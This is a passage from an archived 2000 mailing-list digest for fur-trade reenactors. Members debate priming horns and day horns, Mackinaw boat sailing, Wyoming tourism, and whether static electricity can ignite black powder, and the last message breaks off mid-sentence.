O.K. which one of you let out the info on Wyoming, We like our population
 some where below half a million.
                                        somewhere on the Big Horn River  PTBIW

                                 Sikapi  Makui---------------><}}}>
                                 James H Seward.............AMM.. 1189

--------------9B7F6FDA25893CE753E4AA7A
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<b><font face="Comic Sans MS">O.K. which one of you let out the info on
Wyoming, We like our population</font></b>
<br><b><font face="Comic Sans MS"> some where below half a million.</font></b>
<br><b><font face="Comic Sans MS">
somewhere on the Big Horn River  PTBIW</font></b>
<br><b><font face="Comic Sans MS"> </font></b>
<br><b><font face="Comic Sans MS">
Sikapi  Makui---------------><}}}></font></b>
<br><b><font face="Comic Sans MS">
James H Seward.............AMM.. 1189</font></b></html>

--------------9B7F6FDA25893CE753E4AA7A--


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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 15 May 2000 10:34:49 -0700

Early cannon was primed from a horn and a lighted cord touched down in the
"touch-hole".  This was the charge that set off the breech load.  Later, a
flintlock ignition was adapted to cannon but the priming horn was still used
for initial ignition as previous.  By the Civil War the percussion cap had
replaced the flintlock as the preferred priming device...but a small priming
powder horn was still kept handy for those failed ignitions.
    Cannon powder was too course for priming and a finer grind was used for
the primer.

Larry Huber
----- Original Message -----
Sent: Monday, May 15, 2000 9:14 AM


> Gentelmen,
> I have what may be a dumb question, Why would they use a priming horn for
> cannon priming? from what I have read in the past, Cannon powder is verry
> course and not suitable for priming. If I shoot 3F powder I can use it for
> priming as there is verry litle difference but to use 2f make it a litle
> more difficult. If you are using your flintlock correctly it should make
> verry litle difference what you use, (the powder is to the outside of the
> pan so that it flashes wrather than burn like a fuze).
> However having said that, if I am shooting in a compatition I would
> definatly use 4f for priming because the ignition is much faster and I
> flinch less. I know some may have other opinions and I would like to hear
> from you.
> YMOS
> Ole
> ----------
> >From: "Dennis Earp" <[e-mail]>
> >To: <[e-mail]>
> >Subject: Re: MtMan-List: priming horn
> >Date: Mon, May 15, 2000, 9:05 AM
> >
>
> >Steve,
> >
> >This is the problem.  There are several books with similar pictures, but
> >without
> >primary documentation you can't say for certain that they existed in that
> >particular
> >time period.   Even Madison Grant stated, in his later years, that you
can
> >add
> >about 50 years to most artifacts and you'll be closer to the real age.
> >Thanks for the response and info.
> >
> >Dennis
> >
> >BTW, the ball starter and loading block have been formally challenged
> >in the ALRA and so far no documentation has been found to support them.
> >
> >>In "Kentucky Rifles & Pistols 1750-1850", pg 257 shows a hunting bag and
> >>accouterments of David Cooke (born 1761, died 1842.) It shows, among
other
> >>things, a small priming horn... (see at:
> >>http://members.aol.com:/swcushing/myhomepage/bag1800.jpg )
> >>This reference book was published for "The Kentucky Rifle Association"
in
> >>1976, so I think well documented...
> >>Don't see a short starter though.....
> >>Ymos,
> >>Steve
> >
> >
> >
> >----------------------
> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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From: [e-mail]
Subject: Re: MtMan-List: priming horn
Date: 15 May 2000 13:17:20 -0700

guys---
must have 50 plus horns total that are quite old---and many  are quite
small---only have 6 or 8 that hold over 1/4 lb of powder---all are made
prior to 1900 to the best of my knowledge---some have brass tips and some
dont---most of them would not hold more than 5 or 6 shots with a large
bore gun IE 50 cal or above---I always thought that those with a large
pouring hole was for salt or for caps---most show that they contained
powder ---I have one horn that I bought at a auction when they were
selling the boon rifle and some of his gun stuff by the boon family---it
has scratched on the end---D. Boon 1818 and is presently on loan and
displayed at the Boon Home in defiance Mo.---It is about 4" long and the
pouring hole is too small for caps and I feel not for salt usage---it is
white with patenia on the outside and flat---inside is black from
powder---


does this tell us anything-??? is this something that could be considered
as documentation of the use of a priming horn--(cant deturmine but)-yes
it is easier to not use a priming horn but there must have been a reason
for the small horns---My personal feeling is that they were bag or day
horns used for one or two day hunts---and would help to keep things from
flopping around in the woods---trecking and such used big horns with a 30
plus day supply of powder---and a good supply of balls in the pouch or in
the hunting bag---

I have followed this thread with interest and all of you make good points
but lets go to the practical side---and see if we can make any sense in
this---personally i feel that priming horns were a individual
thing---just as they are today---each person had his choice of what he
carried and how he carried it---some of us like to go thru the woods as
quite as possible and have a system or methodology in the way we carry
our equipment in the woods while hunting---I sometimes just go into the
woods with a bullet board. starter , measure and a small horn that
carries only 4 or five shots---just as my bullet board does---this is a
day hunt setup---and the need to carry much more is not required or
necessary---the horn,  bullet board measure and starter are on a whang
around my neck and stuck in my upper pocket or inside my coat or shirt
depending on the weather------no clang bang or noise---no need for
anything else except for a knife to field dress with--and a small section
of rope to use in dragging or tying the critters together if i am
squirrel or rabbit hunting---

I personally feel that the mountain men would set up a base camp to hunt
or trap out of and would casha that stuff not needed on a daly
basis---then would use a small day horn or like system(whatever you call
it) to get fresh meat or to run the traplines and food seeking
trecks---its a lot better to loose a small amount of important stuff than
the whole load of it---just my humbel opinion of course---hope I have
made my point---


and again this is just my humbel opinion of course---no written word just
common sense and practicality in work---thanks for listing to my
wandering on the subject---

YMHOSANT
  =+=
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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From: Joe Brandl <[e-mail]>
Subject: Re: MtMan-List: What a country
Date: 15 May 2000 10:32:00 -0600

Dave,
I can't reply because it would be personal!
Joe
Have a look at our web site @ www.dteworld.com/absarokawesterndesign/
Call us about our tanning, furs & leather and lodgepole furniture 307-455-2440
New leather wildlife coasters and placemats - ther're great!!

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From: [e-mail]
Subject: Re: MtMan-List: What a UGLY country...Go to Yellowstone Park
Date: 15 May 2000 12:26:36 -0700



Fellers,
You guys are wrong!  Wyoming is a horrid desert, mostly flat and ugly.  Of no
interest to the general public.  Shuffle all the touristas into the wonders of
Yellowstone Park so they'll be happy with their own ilk...all 10 million of
'em...keep the rest of them awful horrid places unpeopled.

Rick




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From: Concho Smith <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 15 May 2000 16:17:54 EDT

[e-mail] wrote:
guys---
I personally feel that the mountain men would set up a base camp to hunt
or trap out of and would casha that stuff not needed on a daly
basis---then would use a small day horn or like system(whatever you call
it) to get fresh meat or to run the traplines and food seeking
trecks---its a lot better to loose a small amount of important stuff than=

the whole load of it---just my humbel opinion of course---hope I have
made my point---

Your idea Hawk is hitting the nail right on head, and the way that Curly =
G.,
Charley Hanson and Vern Bigsby at a conference in the early 80's saw it a=
lso,
the trapper would setup a base camp, a cache (incase the camp was discove=
red)
and carry just what was needed for a day or two - when away from camp. On=
e
good point was powder, he wouldn't carry all his powder in a large horn, =
what
if it got wet ot worst yet lost - stolen - etc., same goes with having al=
l his
gear with him.  They made a good point in there thinking and what they ha=
d
researched.

Later

Concho

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From: Concho Smith <[e-mail]>
Subject: Re: [Re: MtMan-List: Mackinaw boat]
Date: 15 May 2000 16:32:26 EDT

"Roger Lahti" <[e-mail]> wrote:

Most could be sailed and usually with a simple square sail in the center.=
=2E.

Hey Roger,

We where on the Missouri heading down from Ft. Osage to Ft. deChartre. Be=
hind
some guys in one of these boats, they decided to try and sail it, got a c=
ross
wind and lost control long enough to sail into an old barrage.
We picked up bits and pieces of damaged boat, a water barrel and misc.
personal gear for several miles, some how they made it to the Mississippi=

before giving up or tired of bailing water. Seems that the bigger the boa=
t the
harder to correct the direction when under sail.

Later

Concho. =



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From: [e-mail]
Subject: RE: MtMan-List: powder "horns?"(flask or can)
Date: 15 May 2000 21:28:42 +0100

All this talk about metal and powder horns prompts me to query--If powder
was and is today stored in cans of ferrous material, why are we so concerned
about only using non-ferrous metals with our horns?  I ask this question
because I know iron staples were used to attach straps to horns.  Were these
only inserted far enough that the tips did not go through and thus come in
contact with the powder or are there examples where they did go through and
they just weren't worried about a static charge?  I ask this question
because I would like to use the button on the butt-end of a musket stock as
the strap attachment for a powderhorn.

Thanks

Rick

-----Original Message-----
[mailto:[e-mail]]On Behalf Of
[e-mail]
Sent: Sunday, May 14, 2000 7:32 PM


longwalker
I have a powder can that is shaped like a flask with a cork plug---it
also has 2 small steel rings on the sides---havent seen one like it that
was made after 1900 or found any other documentatiuon on it---it is
american made but no dates that i can see or find if i get the scanner up
and running any time soon will scan and send you a picture if it---I have
a good view of it with my hawken pistol that a friend who is a comercial
photographer took ---he wanted a pistol and a powder flask that would be
different and unique for one of his customers---dont know what he will
use the photo for but he gave me a copy of the print---

best to you

YMHOSANT

HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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From: Concho Smith <[e-mail]>
Subject: Re: [Re: MtMan-List: What a country]
Date: 15 May 2000 16:37:35 EDT

----- Original Message -----
I have always sensed big medicine along the Hoback.  Just seems like
something's watching over the place.  Strong and peaceful.  One of my
favorite places.
Lanney =

________________________________________

In 1978 several of us (5) - spent 5-6 weeks on the Hoback and as you say =
the
feeling was very special, like nothing felt before.

Later

Concho.

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From: [e-mail]
Subject: Re: MtMan-List: What a country
Date: 15 May 2000 15:57:22 -0400


--------------96EE4584C89B8816AC3E0685
Content-Type: text/plain; charset=us-ascii
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I have a wonderful beach, sandy shores, great year round weather, green
trees everywhere, and a few hurricanes to trade for a view like you guys
have.   There is no place like home, there is no place like home....who
hid my ruby slippers???????

Linda Holley


> O.K. which one of you let out the info on Wyoming, We like our
> population
>  some where below half a million.
>                                         somewhere on the Big Horn
> River  PTBIW
>
>                                  Sikapi  Makui---------------><}}}>
>                                  James H Seward.............AMM.. 1189

--------------96EE4584C89B8816AC3E0685
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<b>I have a wonderful beach, sandy shores, great year round weather, green
trees everywhere, and a few hurricanes to trade for a view like you guys
have.   There is no place like home, there is no place like home....who
hid my ruby slippers???????</b><b></b>
<p><b>Linda Holley</b>
<br>
<blockquote TYPE=CITE><b><font face="Comic Sans MS">O.K. which one of you
let out the info on Wyoming, We like our population</font></b>
<br><b><font face="Comic Sans MS"> some where below half a million.</font></b>
<br><b><font face="Comic Sans MS">
somewhere on the Big Horn River  PTBIW</font></b>
<p><b><font face="Comic Sans MS">
Sikapi  Makui---------------><}}}></font></b>
<br><b><font face="Comic Sans MS">
James H Seward.............AMM.. 1189</font></b></blockquote>
</html>

--------------96EE4584C89B8816AC3E0685--


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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: powder "horns?"(flask or can)
Date: 15 May 2000 14:59:41 -0700

Rick,

The iron staples don't go all the way to the inside of the horn so that is
not a consideration. As to being concerned about using non-ferrous
materials, I'm not sure who that is. I'm not concerned since as you point
out powder comes in  steel cans anyway. The non-ferrous metals will conduct
electricity just as easily as steel, probably easier. The difference is that
they do not "spark" as in "hot burning metal fragments". I personally don't
think there is any danger. If you want to make a powder container of steel
it will be as safe as one made of copper.

Working around explosives is a different matter. When we load ships with any
munitions and must shore the containers against movement at sea, we always
use non sparking hammers (made of bronze I believe). That way no spark is
struck from the hammer blow against the nail. That is the type of spark that
sets BP off. I believe it has been well proven that a static electric spark
does not have enough heat in it to ignite BP.

The biggest reason I can think of to use non ferrous metals for spouts and
such is corrosion/rust prevention and it is usually easier to work with but
I am sure a steel spout would work just fine. Hope that answers your
concerns. I remain.....

YMOS
Capt. Lahti'



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From: "Roger Lahti" <[e-mail]>
Subject: Re: [Re: MtMan-List: Mackinaw boat]
Date: 15 May 2000 15:13:41 -0700

Concho,

Most of those types of boats don't work well with sail unless they are
equipped with leeboards to keep the boat from sliding sideways. I doubt
leeboards were traditionally used so a square sail is usually only good with
running with the wind or only slightly off to windward. The Vikings and big
square sail Sailors got away with it because their boats/ships had a bit of
keel and some ballast to keep them down in the water or with the deeper
keel, from sliding sideways to a degree. They also had more sea room to
turn. But changing direction with a square sail is often done more like a
"loop", falling off to leeward and then coming back into the wind on a
different tack than with other styles of sail where you can just cross the
wind on a simple tack manuver.

Do you know what style of sail they were using? If you brought up the URL I
posted of the Mackenzie boat under sail it had a "jib" forward with two
lateen sails on the two masts. A lateen sail is a big improvement over a
square sail and will allow sailing with more directional control and closer
to the wind. Easier to tack with too.

Bigger boats are harder to deal with too. But I sure would like to try. <G>
Capt. L



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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 15 May 2000 19:12:22 -0700

Ok guys.  How about a different slant on the priming horn question ?  Can
anyone document 4f powder, and in what quantiies ?  Can anyone document it
going to the mountains in the pre-1840 period ?  I don't recall ever seeing
a reference to 4f or superfine powder.  It seems to me if there wasn't any
priming powder to be had, then they didn't have a need for a priming horn.
Hmmm just a thought.
Pendleton
-----Original Message-----


Tony,

I talked to Jim at the annual Horner's Guild meeting last month and he's
a very nice and knowledgeable gentleman.  Unfortuntely, we didn't get
around to discussing priming horns.  I have talked to Roland Cadle on
several occasions ( past president of the Horner's Guild ) and he's of
the opinion that any small horn was a day horn and mostly 19th century.
That's not to say priming horns didn't exist then, but I haven't been able
to document one as yet other than those use to prime cannons.

Dennis

>Hi Steve, A couple years ago I had a conversation with Jim Dresslar the
>author of "The Engraved Powder Horn", and probably the countries foremost
>authority on powder horns, and he also mentioned that there are very few
>references in period documents to priming horns, and that priming horns
>generally weren't used by many folks.


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From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 15 May 2000 20:02:27 -0500


-----Original Message-----


.  It seems to me if there wasn't any
>priming powder to be had, then they didn't have a need for a priming horn.
>Hmmm just a thought.
>Pendleton

And a good one at that Larry, I think you may be on to something.  Seems to
me a good argument could be made against the use of priming powder and horns
just on the basis of practicality. Kind of the "keep it simple" principle.
Why would you use and carry something that wasn't necessary?
I do know that the small horns I have that I thought might be priming horns
did in fact contain powder. They weren't salt or cap horns. I think at the
very least it can be said that there is not a lot of evidence that shows
that priming horns were actually used.

T. Clark


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From: Allen Hall <[e-mail]>
Subject: MtMan-List: What I meant to say....
Date: 15 May 2000 19:30:37 -0600

Hello the list,

I did not mean to start ANOTHER fight on this list.  The "What a Country"
topic was to share with all, that there's still some wonderful country out
there, and it's the ground that we have a mutual interest in.  That's why I
posted.

I also do not like this list used as a chat room.  But if I get upset enough
about it, I guess I should open another interesting topic so that folks will
talk about it..........

I also HATE the population explosion that's going on here in the Rockies.
Tell all your friends that ask that whatever they HATE, we have in great
abundance here in Idaho and Wyoming and Montana and (add your favorite place
here).

Let's all get along, ok?

Now for some socially redeeming info for this post.......let's see....  Ok,
if you need beeswax, go to a honey dealer/manufacturer.  Here I can get it
for $3 a pound, which is a whole lot cheaper than rendezvous/mountain
prices.  It's good for a number of things not the least of which is making
moccasins more water resistant for those of us that go out in whatever the
weather has to offer.


Allen Hall from Fort Hall country that is full of nasty rotten bugs, snakes,
no water, rednecks, horrible weather, obnoxious people, wolves that will eat
your dogs, grizzly bears that will eat you and what ever else you really
hate.  Oh yeah and nuclear waste, we've got lots of that too........




At 10:42 PM 05/14/2000 -0600, you wrote:
>At 11:20 PM 05/14/2000 EDT, you wrote:
>
>>Are you trying to tell me that is OK for your "old boys club" to converse
>>publicly on the list, but everyone else should do it privately?
>
>Hey, I finally made it to an "old boys club".  Is that good or bad.
>
>>It's a chat room for old, retired guys to relive their past with no concern
>>for others on the list who are hoping for an exchange of ideas and
>>information, rather than personal BS.  And Yeah, a lot of them are my friends
>>too.
>
>Made it to the "old boys club" and I'm not even retired!
>
>Well, for some socially redeeming value to this e-mail.  For you new brain
>tanning folks, plan on braining your hides at least twice.  I'm working on a
>big mule deer hide.  It came about 2/3's out with the second braining, and
>oughta be dandy on the third one.
>
>And while you've got all that great brain juice, drop in a couple of more
>hides for their first go around.
>
>Brain tanning is a lot of physical work, but well worth the effort.  It's
>not all that difficult (but is time consuming) to turn out stuff that costs
>at least $10 a square foot to buy.  Put it into a slightly different
>perspective, that's about $90 a yard.
>
>In the past I've dry scraped, but am trying wet scrape this go around.  Many
>folks say that wet scrape gives a fluffier hide than dry, but I've not found
>that myself.
>
>Good luck!
>
>Allen Hall in Fort Hall country
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: powder "horns?"(flask or can)
Date: 15 May 2000 20:23:49 -0600

Static electricity is the villain. When pouring powder from a metal or
plastic container a static charge can build up. If the container makes
contact with another conductive object, such as your hand, Surprise! This
can be obviated by using a clip on static strap to bleed off any charge as
it occurs.
-----Original Message-----


>Rick,
>
>The iron staples don't go all the way to the inside of the horn so that is
>not a consideration. As to being concerned about using non-ferrous
>materials, I'm not sure who that is. I'm not concerned since as you point
>out powder comes in  steel cans anyway. The non-ferrous metals will conduct
>electricity just as easily as steel, probably easier. The difference is
that
>they do not "spark" as in "hot burning metal fragments". I personally don't
>think there is any danger. If you want to make a powder container of steel
>it will be as safe as one made of copper.
>
>Working around explosives is a different matter. When we load ships with
any
>munitions and must shore the containers against movement at sea, we always
>use non sparking hammers (made of bronze I believe). That way no spark is
>struck from the hammer blow against the nail. That is the type of spark
that
>sets BP off. I believe it has been well proven that a static electric spark
>does not have enough heat in it to ignite BP.
>
>The biggest reason I can think of to use non ferrous metals for spouts and
>such is corrosion/rust prevention and it is usually easier to work with but
>I am sure a steel spout would work just fine. Hope that answers your
>concerns. I remain.....
>
>YMOS
>Capt. Lahti'
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: [e-mail]
Subject: Re: MtMan-List: What I meant to say....
Date: 15 May 2000 22:16:33 EDT

> I did not mean to start ANOTHER fight on this list.

Allen,
Don't give it another thought.  You didn't start anything, you just happened
to be standing by the fire when the pot boiled over.  No doubt you are quick
enough that you didn't get burned.  This pot has been brewing for quit a
while, with lots standing around the fire, but none tending it.

>  I also do not like this list used as a chat room.

Welcome to the minority.

>  I also HATE the population explosion that's going on here in the Rockies.

How do you think our Red Brothers felt when the land and money hungry white
man took over his land?  History has a way of repeating itself, don't it?

>  Let's all get along, ok?

 Always a Utopian dream, but never really possible in everyday life.  I sent
this to another list, but it might also be appropriate here at this given
time.

.............................................................................
"No! for such has been our education, that we hesitate not to devote years
and expend millions in the detection and punishment of crimes, and in the
attainment of objects whose ultimate results are, in comparison with this,
insignificancy itself: and yet we have not moved one step in the true path to
prevent crimes, and to diminish the innumerable evils with which mankind are
now afflicted.

Are these false principles of conduct in those who govern the world to
influence mankind permanently? And if not, how, and when is the change to
commence?"

A New View of Society [by]
Robert Owen  1813

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: What I meant to say....
Date: 15 May 2000 20:32:40 -0600

Let's not forget that the most feared critter of all exists in large flocks
in any part of Wyoming that has scenery of any kind: the Ocean Pacific
crested tourist! They are also known to drag along the product of vigorous
procreating, SUVs, two stroke motorcycles and ATVs, and those horrid
mountain bikes. Of course the locals put out bait to attract them. Bait such
as mountains, clean air, staggering scenery, motels, miniature golf courses,
factory outlet stores, river rides, horse stables, and museums. La!
-----Original Message-----


>Hello the list,
>
>I did not mean to start ANOTHER fight on this list.  The "What a Country"
>topic was to share with all, that there's still some wonderful country out
>there, and it's the ground that we have a mutual interest in.  That's why I
>posted.
>
>I also do not like this list used as a chat room.  But if I get upset
enough
>about it, I guess I should open another interesting topic so that folks
will
>talk about it..........
>
>I also HATE the population explosion that's going on here in the Rockies.
>Tell all your friends that ask that whatever they HATE, we have in great
>abundance here in Idaho and Wyoming and Montana and (add your favorite
place
>here).
>
>Let's all get along, ok?
>
>Now for some socially redeeming info for this post.......let's see....  Ok,
>if you need beeswax, go to a honey dealer/manufacturer.  Here I can get it
>for $3 a pound, which is a whole lot cheaper than rendezvous/mountain
>prices.  It's good for a number of things not the least of which is making
>moccasins more water resistant for those of us that go out in whatever the
>weather has to offer.
>
>
>Allen Hall from Fort Hall country that is full of nasty rotten bugs,
snakes,
>no water, rednecks, horrible weather, obnoxious people, wolves that will
eat
>your dogs, grizzly bears that will eat you and what ever else you really
>hate.  Oh yeah and nuclear waste, we've got lots of that too........
>
>
>
>
>At 10:42 PM 05/14/2000 -0600, you wrote:
>>At 11:20 PM 05/14/2000 EDT, you wrote:
>>
>>>Are you trying to tell me that is OK for your "old boys club" to converse
>>>publicly on the list, but everyone else should do it privately?
>>
>>Hey, I finally made it to an "old boys club".  Is that good or bad.
>>
>>>It's a chat room for old, retired guys to relive their past with no
concern
>>>for others on the list who are hoping for an exchange of ideas and
>>>information, rather than personal BS.  And Yeah, a lot of them are my
friends
>>>too.
>>
>>Made it to the "old boys club" and I'm not even retired!
>>
>>Well, for some socially redeeming value to this e-mail.  For you new brain
>>tanning folks, plan on braining your hides at least twice.  I'm working on
a
>>big mule deer hide.  It came about 2/3's out with the second braining, and
>>oughta be dandy on the third one.
>>
>>And while you've got all that great brain juice, drop in a couple of more
>>hides for their first go around.
>>
>>Brain tanning is a lot of physical work, but well worth the effort.  It's
>>not all that difficult (but is time consuming) to turn out stuff that
costs
>>at least $10 a square foot to buy.  Put it into a slightly different
>>perspective, that's about $90 a yard.
>>
>>In the past I've dry scraped, but am trying wet scrape this go around.
Many
>>folks say that wet scrape gives a fluffier hide than dry, but I've not
found
>>that myself.
>>
>>Good luck!
>>
>>Allen Hall in Fort Hall country
>>
>>
>>----------------------
>>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: [e-mail]
Subject: Re: MtMan-List: powder "horns?"(flask or can)
Date: 15 May 2000 19:38:34 -0700



You just need to be grounded if this possibility worries you. Bare feet, or sopping wet moccs
make excellent ground straps. In drier climates, try stepping on a low cactus while pouring.

   :]


> Static electricity is the villain. When pouring powder from a metal or
> plastic container a static charge can build up. If the container makes
> contact with another conductive object, such as your hand, Surprise! This
> can be obviated by using a clip on static strap to bleed off any charge as
> it occurs.

Kristopher K. Barrett

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From: [e-mail]
Subject: Re: MtMan-List: powder "horns?"(flask or can)
Date: 15 May 2000 22:38:06 EDT

> Static electricity is the villain. When pouring powder from a metal or
>  plastic container a static charge can build up. If the container makes
>  contact with another conductive object, such as your hand, Surprise! This
>  can be obviated by using a clip on static strap to bleed off any charge as
>  it occurs.

Bill,
This is basically an old wive's tale.  Static electricity will not set off
black powder which ignites at approx. 450 degrees.  Static electricity
contains very high voltage, but no amps.  It is the amps which generate the
heat.  Numerous studies have proven this to be true.  The static electricity
that causes explosions in powder factories is due to the dust exploding, not
the powder itself.  The same thing happens in grain elevators and feed mills.

However, a steel can rubbed against a rock or other spark generating medium
will produce a spark which is really red-hot steel.  This will ignite the
powder just the same way a flint lock does.  That is why non-sparking metals
are generally used to transfer flammable substances.

As an aside, I received an alert this week that battery operated devices such
as cell phones, transistor radios, CD players, etc will be banned from the
fueling points of gasoline stations.  I don't know how the yuppies are going
to be able to handle filliing up their cars withou yacking on their cell
phones in the process.

Dave Kanger

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From: "shadowwalker" <[e-mail]>
Subject: MtMan-List: Black Powder
Date: 15 May 2000 22:12:27 -0500

This is a multi-part message in MIME format.

------=_NextPart_000_0041_01BFBEBA.A7656DA0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello all ,=20
                   I'm new to the list but had a question.     I was =
wondering where the <1840'ers got their powder. Did they but at =
rendezvous ? Or did they buy large amounts when they did get into a =
town? If they bought large amounts how did they keep it dry and safe? =
Also, does anyone know of a source of historically acurrate black powder =
manufacturing info?


                               Have a Good'un
                                              Shadowalker

------=_NextPart_000_0041_01BFBEBA.A7656DA0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello all , </FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>          &nbs=
p;       =20
I'm new to the list but had a question.     I was =
wondering=20
where the <1840'ers got their powder. Did they but at rendezvous ? Or =
did=20
they buy large amounts when they did get into a town? If they bought =
large=20
amounts how did they keep it dry and safe? Also, does anyone know of a =
source of=20
historically acurrate black powder manufacturing info?</FONT></DIV>
<DIV> </DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial=20
size=3D2>          &nbs=
p;            =
;       =20
Have a Good'un</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>          &nbs=
p;            =
;            =
          =20
Shadowalker</FONT></DIV></BODY></HTML>

------=_NextPart_000_0041_01BFBEBA.A7656DA0--


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From: [e-mail]
Subject: MtMan-List: Re: Literature/Historical Experience/Quotes, etc.
Date: 15 May 2000 23:20:38 EDT

Hallo the Camp:

One of the things I enjoy is reading quotations, short experiences,
historical information that we all find, enjoy and might like to share.  I
certainly enjoy having my questions answered and learning the answers to
questions that haven't come into my experience.

I would like to ask that anyone with short "literature" they have found in
journals, written themselves, or otherwise, post the list and share these
readings.  I don't care if it's a one-liner, or a couple of paragraphs, but I
find Fur-Trade era fact and fiction highly interesting.

How about Neihardt's "The Mountain Men," . . .

"And naked hill -- as in a fairy tale
Remembered in a dream.  And when the flare
Of sunset died behind them, and the air
Went weird and deepened to a purple gloom,
They saw the white Enchanted Castles loom
Above them, slowly pass and drift a-rear,
Dissolving in the starry crystal sphere . . . "

Or

"Baled three-point-blankets, blue and scarlet cloth,
Rum, powder, flour, guns, gauderies and lead.
And all about, goodbyes are being said.
Gauche girls with rainy April in their gaze
Cling to their beardless heroes and count the days
Between this parting and the wedded morn . . .

What can I say?  I'm a collector of words, wisdom, and experience(s) - I hope
to hear those words, wisdom, and the authentic experience(s) which belong to
each of you.

[e-mail]

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: powder "horns?"(flask or can)
Date: 15 May 2000 22:08:27 -0600

With all due respect, I have to disagree about static electricity. I lost
five friends at a rocket motor factory because of a static discharge. I have
another good friend who was burned horribly when a man on the crew touched a
loaded motor and a static spark jumped from him to the propellant and it
went off, killing himself and all the rest of the crew except my friend.
Any who want to disregard it can, many have and have not had accidents. But
I am one of the cautious ones.
Bill
-----Original Message-----


>> Static electricity is the villain. When pouring powder from a metal or
>>  plastic container a static charge can build up. If the container makes
>>  contact with another conductive object, such as your hand, Surprise!
This
>>  can be obviated by using a clip on static strap to bleed off any charge
as
>>  it occurs.
>
>Bill,
>This is basically an old wive's tale.  Static electricity will not set off
>black powder which ignites at approx. 450 degrees.  Static electricity
>contains very high voltage, but no amps.  It is the amps which generate the
>heat.  Numerous studies have proven this to be true.  The static
electricity
>that causes explosions in powder factories is due to the dust exploding,
not
>the powder itself.  The same thing happens in grain elevators and feed
mills.
>
>However, a steel can rubbed against a rock or other spark generating medium
>will produce a spark which is really red-hot steel.  This will ignite the
>powder just the same way a flint lock does.  That is why non-sparking
metals
>are generally used to transfer flammable substances.
>
>As an aside, I received an alert this week that battery operated devices
such
>as cell phones, transistor radios, CD players, etc will be banned from the
>fueling points of gasoline stations.  I don't know how the yuppies are
going
>to be able to handle filliing up their cars withou yacking on their cell
>phones in the process.
>
>Dave Kanger
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: Re: MtMan-List: powder "horns?"(flask or can)
Date: 16 May 2000 00:26:46 EDT

> With all due respect, I have to disagree about static electricity. I lost
>  five friends at a rocket motor factory because of a static discharge. I
have
>  another good friend who was burned horribly when a man on the crew touched
a
>  loaded motor and a static spark jumped from him to the propellant and it
>  went off, killing

Bill,
There is no disagreement.  You just didn't read what I wrote carefully.
Static electricity WILL set off dust and fumes.
It WILL NOT ignite black powder.

The accident you described above involved an electric motor and high
amperage, as well as a highly volatile fuel.  This incident involved a spark
passing through air, wherein the fuel is suspended in the air and at it's
maximum stoichiometric mixture.

Black powder by itself  is relatively stable and the same conditions
described do not apply.

You cannot summarily group all instances in the same category.

Dave

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From: [e-mail]
Subject: Re: MtMan-List: powder "horns?"(flask or can)
Date: 16 May 2000 00:54:47 EDT


In a message dated 5/15/00 9:01:56 PM, [e-mail] writes:

<< Any who want to disregard it can, many have and have not had accidents. But

I am one of the cautious ones.

Bill

- >>

I gotta agree with you Bill....watched a guy blow up a perfectly good Super
Cub (airplane) refueling, from a static discharge....seems he took a whippin
too... a blue white spark with no amps has got to be hot....

Ymos,
Steve

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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: powder "horns?"(flask or can)
Date: 15 May 2000 22:22:33 -0700

> I gotta agree with you Bill....watched a guy blow up a perfectly good
Super
> Cub (airplane) refueling, from a static discharge....seems he took a
whippin
> too... a blue white spark with no amps has got to be hot....

Steve,

There is nothing wrong with safety but you can be in danger from lack of
understanding too. Your example is a good one for why we need to fill
portable containers with extra gas while they are setting on the ground, not
setting in the back of the Pickup. But you don't need to ground a powder
horn while you refill it. Read what TOF had to say.

It is a matter of ignition temperature and heat source. The ignition temp of
petroleum vapors is very low. It doesn't take much heat (temp of the spark)
to ignite it. It does take much higher temps to ignite BP, partly because it
is not breaking down into a vapor readily. The heat source must raise the
temp of the BP to a point that vapors are given off.

 An example? Lube oil. You can throw lighted matches into most motor oil all
day and nothing will happen. Put it on a burner and heat it up enough and it
is readily ignited. Heat it up some more and you reach what is called the
flash point. No spark or flame is needed to get it to ignite. The ignition
